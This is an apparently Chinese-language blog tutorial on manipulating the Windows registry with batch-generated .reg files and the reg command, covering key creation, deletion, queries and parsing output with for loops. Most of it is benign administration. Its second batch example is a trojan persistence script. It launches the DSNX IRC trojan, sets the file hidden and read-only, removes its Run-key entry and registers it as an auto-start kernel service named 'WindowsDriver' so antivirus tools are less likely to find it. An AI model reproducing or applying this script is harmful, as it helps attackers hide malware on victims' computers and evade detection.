一，批處理生成.Reg檔案操作登錄檔 
用批處理中的重定向符號可以輕鬆地生成.reg檔案。然後用命令執行.reg檔案即可! 
這裡，著重要了解.reg檔案操作登錄檔的方法。 
首先.reg檔案首行必須是：Windows Registry Editor Version 5.00。然後才是操作登錄檔的內容。 
(就和從登錄檔中匯出的檔案格式一致) 

1，建立子項 
Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 

在HKEY_LOCAL_MACHINE\SOFTWARE\下建立了一個名字為“TTT”的子項。 

2，建立一個專案名稱

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
"Name"="TTT BLOG" 
"EMail"="[email protected]" 
"URL"="http://www.taoyoyo.net/ttt/" 
"Type"=dword:02 

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type這四個專案 
Name、Email、URL的型別是“String Value” 
Type的型別是“DWORD Value” 

(附：windows登錄檔值型別： 
REG_SZ 字串值 
REG_BINARY 二進位制值 
REG_DWORD DWORD值 
REG_MULTI_SZ 多字串值 
REG_EXPAND_SZ 可擴充字串值) 

3，修改鍵值 
修改相對來說比較簡單，只要把你需要修改的專案匯出，然後用記事本進行修改，然後匯入（regedit /s）即可。就象新建一樣即可。可以一次修改同一子項下的多個專案。 

4，刪除專案名稱

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
"EMail"=- 

執行該指令碼，"EMail"就被刪除了； 

5，刪除子項

Windows Registry Editor Version 5.00 
[-HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
[-HKEY_LOCAL_MACHINE\SOFTWARE\DDD] 

　執行該指令碼，子項ttt和ddd就已經被刪除了。 

6，.reg檔案執行方法 
1)直接執行reg檔案 
2)regedit /s *.reg (/s不用確認) 
3)reg import *.reg 

7，其實，我們也可以用dll檔案代替reg檔案。 

批處理例1：

@echo off 
echo Windows Registry Editor Version 5.00 >t1.reg 
echo. 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg 
echo "Name"="TTT BLOG" >>t1.reg 
echo "EMail"="[email protected]" >>t1.reg 
echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg 
echo "Type"=dword:02 >>t1.reg 
regedit /s t1.reg 
del /q t1.reg 
pause 

　　批處理2：(這個例子是別人的，不是很懂的說~~) 
我們現在在使用一些比較老的木馬時,可能會在登錄檔的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟 動.但是這樣很容易暴露木馬程式的路徑,從而導致木馬被查殺,相對地若是將木馬程式註冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例 (名為windrv32.exe)

@start windrv32.exe 
@attrib +h +r windrv32.exe 
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll 
@echo "windsnx "=- >>patch.dll 
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe 
@regedit /s patch.dll 
@delete patch.dll 
@REM [刪除DSNXDE在登錄檔中的啟動項，用sc.exe將之註冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀，並config為自啟動] 
@REM 這樣不是更安全^_^. 

二，reg命令操作登錄檔 

Reg命令是Windows提供的一下專門操作登錄檔的工具。可以方便的查詢，新增，刪除，匯入，匯出，比較等操作。具體可以參考系統自帶的幫助…… 

REG Operation [引數列表] 
Operation [ QUERY | ADD | DELETE | COPY | 
SAVE | LOAD | UNLOAD | RESTORE | 
COMPARE | EXPORT | IMPORT ] 

1，查詢所有子項和值 

D:\>reg query hklm\software\TTT 

! REG.EXE VERSION 3.0 

HKEY_LOCAL_MACHINE\software\TTT 
Name REG_SZ TTT BLOG 
EMail REG_SZ [email protected] 
URL REG_SZ http://www.taoyoyo.net/ttt/ 
Type REG_DWORD 0x2 

2，查詢特定項 

D:\>reg query hklm\software\ttt /v url 

! REG.EXE VERSION 3.0 

HKEY_LOCAL_MACHINE\software\ttt 
url REG_SZ http://www.taoyoyo.net/ttt/ 

這裡最難的是如何取得我們想要的字串呢，困惑了好長時間，終於找到方法了。 
原來也沒有別的好辦法，只能用find，for迴圈來擷取我們需要的內容。(下面的例子如果看不懂，請參考本部落格另外的文章：DOS迴圈-bat/批處理for命令詳解之二) 
例如我們要得到url的鍵值： http://www.taoyoyo.net/ttt/，可以用以下指令碼：

@ECHO OFF 
for /f "tokens=1,2,3,4,*" %%i in ('reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"') do SET "pURL=%%k" 
echo TTT BLOG的URL值為：%pURL% 

　儲存為Test.bat，執行結果如下： 

D:\>test.bat 
TTT BLOG的URL值為：http://www.taoyoyo.net/ttt/ 

不行了，家裡的電腦不知為啥，在命令列中一執行“REG”命令(包括reg /?)，CPU就佔用100%，看工作管理員，CMD佔用百分之八十多，不知道為啥…… 
執行其他的命令就沒有問題，包括regedit /s…… 

查了一下，網上有說是中了木馬的原因，但查了一下，也不象。既沒有找到相關檔案，而且執行其它的命令時，沒有問題…… 
先不搞了，正好手頭有個REG命令詳解，等會整理一下! 

因為查毒，用自己做的Clear.bat清理了一下C盤，居然清理出1個G的空間來，原來只剩幾百兆了……windows的垃圾真是多啊~~不要忘了經常清理一下啊! 

再發布兩個做好的批處理檔案，可以自動監控OutLook Express，有需要的可以點選下載…… 
1，OEMonitorCount.bat　功能：可以重設登錄檔中OE開啟次數，避免超過100次時提示壓縮 
2，OEMonitorSize.bat　功能：可以監控Outlook Express郵件檔案(*.dbx)大小，當大於指定大小時，生成報警日誌。 

這兩個檔案，可以加到啟動組裡，每次開機自動執行! 
搞這兩個主要是為了解決公司經常出現的一些問題： 
1)經常有人的郵件檔案超過幾個G； 
2)有時而且根據提示壓縮後，可能出現郵件丟失。 

剛發現，下載後的檔案又加了“htm"的字尾，請去掉此後綴再使用! 
另外下載時，請使用下面的連結，如：千腦電信高速下載地址、千腦網通高速下載地址。上面的VIP連結是專供千腦使用者使用的~~